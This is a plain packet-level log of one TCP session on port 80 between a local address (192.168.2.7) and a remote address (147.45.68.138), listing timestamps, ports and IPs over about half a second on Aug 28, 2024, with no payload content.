Aug 28, 2024 22:55:56.974230051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974232912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974256039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974286079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974291086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974328041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974365950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974378109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974389076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974409103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974420071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974433899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974442959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974455118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974466085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974478960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974483013 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974490881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974498987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974509001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974513054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974531889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974549055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974579096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974591017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974601984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974612951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974620104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974623919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974636078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974652052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974674940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975393057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975438118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975441933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975460052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975485086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975493908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975542068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975553989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975565910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975577116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975584030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975594997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975616932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975625038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975636005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975636959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975646973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975656986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975666046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975671053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975681067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975682974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975708961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975732088 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975758076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975770950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975781918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975794077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975800037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975812912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975841999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975869894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975882053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975893974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975903034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.975912094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975929976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.975954056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976115942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976156950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976157904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976171017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976198912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976210117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976244926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976263046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976274014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976284027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976288080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976295948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976308107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976314068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976319075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976330996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976341963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976366043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976366997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976377964 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976387978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976399899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.976418972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976433992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.976445913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.977161884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.977205992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.977219105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.977262020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.977286100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.977298021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.977309942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.977322102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.977329016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.977334023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.977348089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.977369070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.977380037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.977402925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.079798937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.079821110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.079838991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.079849958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.079859972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.079871893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.079881907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.080035925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.080037117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.080528975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.080584049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.081892014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.081945896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.081959009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.081990004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082001925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082003117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082041979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082053900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082134008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082158089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082170010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082178116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082180977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082194090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082205057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082211971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082223892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082236052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082236052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082252979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082254887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082263947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082273006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082278967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082283974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082293987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082307100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082309008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082325935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082328081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082338095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082339048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082349062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082360983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082376003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082405090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082801104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082824945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082835913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082854986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082875013 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082931042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082943916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082953930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082971096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082987070 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.082989931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.082999945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083013058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083014965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083022118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083033085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083045006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083046913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083053112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083069086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083086014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083086967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083097935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083112001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083139896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083148003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083158970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083168983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083178997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083195925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083197117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083205938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083216906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083218098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083228111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083240032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083244085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083259106 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083283901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083579063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083621979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083633900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083645105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083650112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083656073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083668947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083684921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083692074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083695889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.083709955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083722115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.083748102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084116936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084137917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084160089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084162951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084176064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084177017 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084203005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084211111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084213018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084223986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084253073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084261894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084268093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084273100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084283113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084304094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084314108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084325075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.084327936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.084362030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.103559971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.108380079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297080040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297106028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297117949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297128916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297141075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297152042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297158957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297190905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297203064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297214031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297224045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297235012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297245979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297257900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297311068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297311068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297326088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297338963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297348976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297353029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297360897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297362089 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297368050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297378063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297394037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297398090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297406912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297415018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297415972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297426939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297434092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297439098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297449112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297456026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297461987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297482967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297504902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297523975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297534943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297549963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297569036 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297589064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297630072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297641993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297652960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297663927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297667980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297674894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297683001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297684908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297697067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297709942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297729969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297746897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297759056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297770023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297780037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297791958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297795057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297802925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297811985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297843933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297904968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297915936 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297926903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297938108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297939062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297946930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297965050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297966957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.297976971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297992945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.297996044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298006058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298007011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298017979 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298027992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298032999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298041105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298051119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298055887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298062086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298073053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298080921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298084974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298096895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298106909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298106909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298118114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298131943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298136950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298152924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298176050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298336029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298346996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298356056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298366070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298377037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298381090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298389912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298403025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298413038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298413038 CEST	49731	80	192.168.2.7	147.45.68.138
